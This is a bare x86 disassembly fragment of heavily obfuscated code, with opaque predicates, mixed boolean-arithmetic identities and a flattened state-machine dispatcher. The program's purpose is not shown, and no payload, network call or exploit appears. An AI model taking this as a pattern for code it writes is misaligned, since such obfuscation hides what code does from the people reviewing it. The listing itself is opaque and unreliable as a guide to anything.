xor ah, al
mov al, byte [ebp - 0x4ab]
and ah, bl
mov bl, bh
and bl, al
xor bh, al
mov al, byte [ebp - 0x4aa]
or bl, bh
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov ah, bl
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bl, al
mov byte [ebp - 0x4a9], bl
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x4a9]
or ah, al
mov al, byte [ebp - 0x4a8]
or bl, bh
xor ah, bl
mov bh, al
and bh, dh
xor al, dh
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or al, bh
or dh, bl
xor al, dh
mov byte [ebp - 0x4a3], al
mov dh, 1
xor dh, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4a4], al
mov bh, 1
xor bh, 1
mov bl, dh
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4a4]
and al, 0xff
mov byte [ebp - 0x4a6], al
mov al, byte [ebp - 0x4a7]
and cl, bh
or bl, al
mov al, byte [ebp - 0x4a6]
or al, cl
mov cl, byte [ebp - 0x4a5]
xor bl, al
mov al, byte [ebp - 0x4a4]
or dh, al
mov al, byte [ebp - 0x4a3]
xor dh, 0xff
or bh, 1
and dh, bh
or bl, dh
xor bl, 0xff
mov dh, al
xor dh, bl
and dh, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov byte [ebp - 0x4a2], al
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, cl
xor ah, 0xff
mov bh, dl
and bh, ah
xor dl, 0xff
and cl, dl
or bh, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0x4a2]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
and dl, 1
or bl, dl
xor al, 0xff
mov dh, bl
xor dh, 0xff
mov dl, 1
xor dl, 0
or al, dh
or dl, 0
xor al, 0xff
and al, dl
mov dh, ah
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov dl, ah
and dl, bh
or dh, dl
mov bh, 1
xor bh, 1
mov dl, dh
xor dl, bh
and dl, dh
xor ah, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ah, bl
or dh, 0
xor ah, 0xff
and ah, dh
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x4a0], dh
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
mov byte [ebp - 0x4a1], dh
and cl, bl
mov dh, bh
and dh, 0xff
and al, bl
mov byte [ebp - 0x49f], al
mov al, byte [ebp - 0x4a1]
or al, cl
mov cl, byte [ebp - 0x4a0]
mov byte [ebp - 0x49e], al
mov al, byte [ebp - 0x49f]
or dh, al
mov al, byte [ebp - 0x49e]
xor al, dh
mov dh, byte [ebp - 0x49d]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov cl, ch
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or cl, dh
or dl, ch
xor cl, dl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 0
mov ch, al
and ch, 0
and cl, dl
mov bl, dh
and bl, 0
and bh, dl
or ch, cl
mov cl, byte [ebp - 0x49c]
or bl, bh
xor ch, bl
or al, dh
xor al, 0xff
or dl, 0
and al, dl
or ch, al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, dl
xor cl, 0xff
and cl, 1
or bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x49b], dh
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and al, cl
mov bl, dl
and bl, 0xff
and bh, cl
or dh, al
mov al, byte [ebp - 0x49b]
or bl, bh
xor dh, bl
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or bh, dh
or al, ch
xor bh, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x49a], al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0x49a]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, ah
and cl, ch
or al, cl
mov byte [ebp - 0x495], al
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or ch, cl
mov byte [ebp - 0x497], ch
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or bh, bl
or cl, dh
xor bh, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
xor ch, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 0
or ch, dh
or ah, 0
xor ch, 0xff
and ch, ah
mov ah, bh
xor ah, 0xff
mov dh, dl
xor dh, ah
and dh, dl
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x496], dl
mov bl, 1
xor bl, 0
mov dl, ah
and dl, 0
and al, bl
mov byte [ebp - 0x499], al
mov al, byte [ebp - 0x496]
and al, 0
mov byte [ebp - 0x498], al
mov al, byte [ebp - 0x499]
and cl, bl
or dl, al
mov al, byte [ebp - 0x498]
or al, cl
mov cl, byte [ebp - 0x497]
xor dl, al
mov al, byte [ebp - 0x496]
or ah, al
mov al, byte [ebp - 0x495]
xor ah, 0xff
or bl, 0
and ah, bl
or dl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x494], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x494]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x851d3081
mov ecx, 0xff1d58c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
xor esi, esi
sub esi, ecx
add esi, 0
xor edi, edi
sub edi, 0x15cad16c
add edi, 0
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
add edx, 0xb603d93c
sub edx, 0x8ecec5ee
sub edx, 0xb603d93c
add edx, 0x8f7b45d2
sub edx, 1
sub edx, 0x8f7b45d2
xor esi, esi
sub esi, 0x8ecec5ee
sub edx, esi
xor edi, edi
sub edi, 0x15cad16c
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bh
mov byte [ebp - 0x515], bh
cmp eax, 0xa
setl ch
mov dl, bh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, cl
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov bl, dh
and bl, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x515]
or bl, bh
xor al, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x4f6], al
mov dl, ch
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, ch
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov al, dh
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov bl, 1
xor bl, 1
mov al, ah
xor al, bl
and al, ah
mov ah, 1
xor ah, 1
xor dh, 0xff
mov bl, 1
xor bl, 0
or ah, dh
mov dh, byte [ebp - 0x4f6]
or bl, 0
xor ah, 0xff
and ah, bl
mov bl, dl
and bl, bh
xor dl, bh
or bl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and bl, bh
mov al, dl
xor al, 0xff
and al, 0xff
and dl, bh
or ah, bl
or al, dl
xor ah, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov dl, 1
xor dl, 1
xor bl, 0xff
mov al, 1
xor al, 1
or dl, bl
or al, 1
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov al, dl
and al, bl
xor dl, bl
or al, dl
mov byte [ebp - 0x4f2], al
mov bh, 1
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, bl
or al, dl
xor bh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, bh
xor al, 0xff
and al, 0xff
and bh, bl
mov bl, byte [ebp - 0x4f2]
or dl, dh
mov dh, byte [ebp - 0x4f6]
or al, bh
xor dl, al
xor dh, 0xff
mov al, dl
xor al, dh
and al, dl
mov byte [ebp - 0x514], al
mov dh, bl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, bl
or al, dl
xor dh, al
mov dl, cl
xor dl, 0xff
mov al, dh
and al, dl
xor dh, 0xff
mov dl, cl
and dl, dh
or al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov dh, ah
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov al, ah
and al, cl
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, cl
mov cl, byte [ebp - 0x514]
or dh, al
mov al, byte [ebp - 0x4f2]
or bl, bh
xor dh, bl
mov bh, ah
xor bh, 0xff
mov bl, dh
xor bl, bh
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and al, dh
or bh, al
mov dh, ch
xor dh, 0xff
mov al, bh
and al, dh
xor bh, 0xff
mov dh, ch
and dh, bh
or al, dh
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x507], al
mov al, dl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov cl, dl
and cl, bh
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x514]
or ch, bh
xor al, ch
mov byte [ebp - 0x506], al
mov bh, 1
xor bh, 0
and bh, 0
mov al, 1
xor al, 0
mov ch, al
and ch, 0
mov byte [ebp - 0x513], ch
mov ch, 1
xor ch, 1
and ch, 0
and al, 1
mov byte [ebp - 0x512], al
mov al, byte [ebp - 0x513]
or bh, al
mov al, byte [ebp - 0x512]
or ch, al
mov al, byte [ebp - 0x507]
xor bh, ch
mov byte [ebp - 0x500], bh
mov ch, 1
xor ch, 0
xor al, ch
mov ch, byte [ebp - 0x507]
and al, ch
mov ch, byte [ebp - 0x506]
mov byte [ebp - 0x511], al
xor cl, 0xff
xor bh, 0xff
mov al, 1
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
xor ch, 0xff
mov al, 1
xor al, 0
mov bh, 1
xor bh, 0
or ch, al
mov al, byte [ebp - 0x511]
or bh, 0
xor ch, 0xff
and ch, bh
mov bh, byte [ebp - 0x500]
mov byte [ebp - 0x50c], ch
xor dl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 0
or dl, bh
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x50e], dl
mov ch, al
xor ch, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x50d], dl
mov bh, 1
xor bh, 1
mov dl, ch
and dl, 0xff
and al, bh
mov byte [ebp - 0x510], al
mov al, byte [ebp - 0x50d]
and al, 0xff
mov byte [ebp - 0x50f], al
mov al, byte [ebp - 0x510]
and cl, bh
or dl, al
mov al, byte [ebp - 0x50f]
or al, cl
mov cl, byte [ebp - 0x50e]
xor dl, al
mov al, byte [ebp - 0x50d]
or ch, al
mov al, byte [ebp - 0x50c]
xor ch, 0xff
or bh, 1
and ch, bh
or dl, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x508], ch
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x509], bh
mov bh, 1
xor bh, 1
and ch, 0xff
and al, bh
mov byte [ebp - 0x50b], al
mov al, byte [ebp - 0x509]
and al, 0xff
mov byte [ebp - 0x50a], al
mov al, byte [ebp - 0x50b]
and cl, bh
or ch, al
mov al, byte [ebp - 0x50a]
or al, cl
mov cl, byte [ebp - 0x509]
xor ch, al
mov al, byte [ebp - 0x508]
or al, cl
mov cl, byte [ebp - 0x507]
xor al, 0xff
or bh, 1
and al, bh
or ch, al
mov bh, dl
xor bh, 0xff
mov al, ch
and al, bh
mov bh, byte [ebp - 0x506]
xor ch, 0xff
and dl, ch
or al, dl
mov byte [ebp - 0x501], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x505], al
and cl, ch
mov al, bh
and al, 0xff
mov byte [ebp - 0x504], al
mov al, byte [ebp - 0x506]
and al, ch
mov byte [ebp - 0x503], al
mov al, byte [ebp - 0x505]
or al, cl
mov cl, byte [ebp - 0x504]
mov byte [ebp - 0x502], al
mov al, byte [ebp - 0x503]
or cl, al
mov al, byte [ebp - 0x502]
xor al, cl
mov cl, byte [ebp - 0x501]
or dl, bh
xor dl, 0xff
or ch, 1
and dl, ch
or al, dl
mov dl, al
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and al, bh
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x500]
or ch, bh
xor dl, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x4fe], bh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
mov byte [ebp - 0x4ff], bh
and cl, dl
mov bh, ch
and bh, 0xff
and al, dl
mov byte [ebp - 0x4fd], al
mov al, byte [ebp - 0x4ff]
or al, cl
mov cl, byte [ebp - 0x4fe]
mov byte [ebp - 0x4fc], al
mov al, byte [ebp - 0x4fd]
or bh, al
mov al, byte [ebp - 0x4fc]
xor al, bh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov dl, dh
xor dl, 0xff
mov cl, bl
xor cl, dl
and cl, bl
mov dl, bl
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or dl, bl
or ch, dh
xor dl, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
mov ch, dl
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov byte [ebp - 0x4fb], bh
mov ch, dh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
mov al, dh
and al, bl
or ch, al
xor ch, 0xff
mov bl, 1
xor bl, 1
mov al, 1
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dl
and al, 0
mov byte [ebp - 0x4fa], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x4f9], al
mov al, byte [ebp - 0x4fb]
and al, bl
mov byte [ebp - 0x4f8], al
mov al, byte [ebp - 0x4fa]
or al, cl
mov cl, byte [ebp - 0x4f9]
mov byte [ebp - 0x4f7], al
mov al, byte [ebp - 0x4f8]
or cl, al
mov al, byte [ebp - 0x4f7]
xor al, cl
mov cl, byte [ebp - 0x4f6]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov dh, al
xor dh, 0xff
mov ch, dl
and ch, dh
xor dl, 0xff
and al, dl
or ch, al
mov dl, ah
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov dh, cl
xor dh, 0xff
mov dl, ah
and dl, dh
xor ah, 0xff
and cl, ah
or dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or dh, bl
or dl, ah
xor dh, dl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
and dl, 1
or ah, dl
mov bl, 1
xor bl, 1
mov dl, ah
xor dl, bl
and dl, ah
mov byte [ebp - 0x4f3], dl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and al, bl
mov byte [ebp - 0x4f5], al
mov al, bh
and al, 0
mov byte [ebp - 0x4f4], al
mov al, byte [ebp - 0x4f5]
and cl, bl
or ah, al
mov al, byte [ebp - 0x4f4]
or al, cl
mov cl, byte [ebp - 0x4f3]
xor ah, al
mov al, byte [ebp - 0x4f2]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov dl, cl
and dl, dh
xor cl, dh
or dl, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov bh, al
and bh, dl
xor al, 0xff
and al, 0
or bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4f1], al
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
and cl, dl
mov bl, ah
and bl, 0xff
and bh, dl
or al, cl
mov cl, byte [ebp - 0x4f1]
or bl, bh
xor al, bl
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, dh
or al, dl
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36f23995
mov ecx, 0xde533815
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov ecx, dword [ebp - 0x98]
mov eax, 0x5e6ad559
add eax, 0
sub eax, 0xd15d6806
sub eax, 0x5e6ad559
add ecx, 0xadcf893b
add ecx, eax
sub ecx, 0xadcf893b
mov eax, 0x367d7b97
add eax, 0
sub eax, 1
sub eax, 0x367d7b97
sub ecx, 0x3ccae1c8
sub ecx, eax
add ecx, 0x3ccae1c8
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xc32b72a2
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xd15d6806
add eax, ecx
xor ecx, ecx
sub ecx, eax
sub ecx, 0xdc41b6c1
sub ecx, 0xc32b72a2
add ecx, 0xdc41b6c1
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
xor esi, esi
sub esi, 0x9a8fac9e
sub esi, 1
add esi, 0x9a8fac9e
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, edx
mov esi, 0xb04a4672
add esi, 0
sub esi, eax
sub esi, 0xb04a4672
xor edx, edx
sub edx, 0xf64f44c1
sub edx, edi
add edx, 0xf64f44c1
sub esi, 0xf7398ea5
add esi, edx
add esi, 0xf7398ea5
xor edx, edx
sub edx, 0x785df633
sub edx, esi
add edx, 0x785df633
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x577], al
cmp ecx, 0xa
setl bh
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
or bl, dl
mov dl, bl
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov ch, 1
xor ch, 0
mov al, dl
xor al, ch
and al, dl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x57f], cl
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov dh, ch
and dh, 0
and bl, ah
or cl, al
mov al, byte [ebp - 0x57f]
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov bl, dl
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or bl, dl
or al, cl
xor bl, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x57e], al
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov al, dh
xor al, 0xff
mov ch, bh
xor ch, al
and ch, bh
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov cl, ah
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, cl
mov cl, byte [ebp - 0x57e]
or dl, ah
xor al, dl
xor al, 0xff
mov ah, 1
xor ah, 0
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ah, 1
xor ah, 1
xor dh, 0xff
mov dl, 1
xor dl, 0
or ah, dh
or dl, 0
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
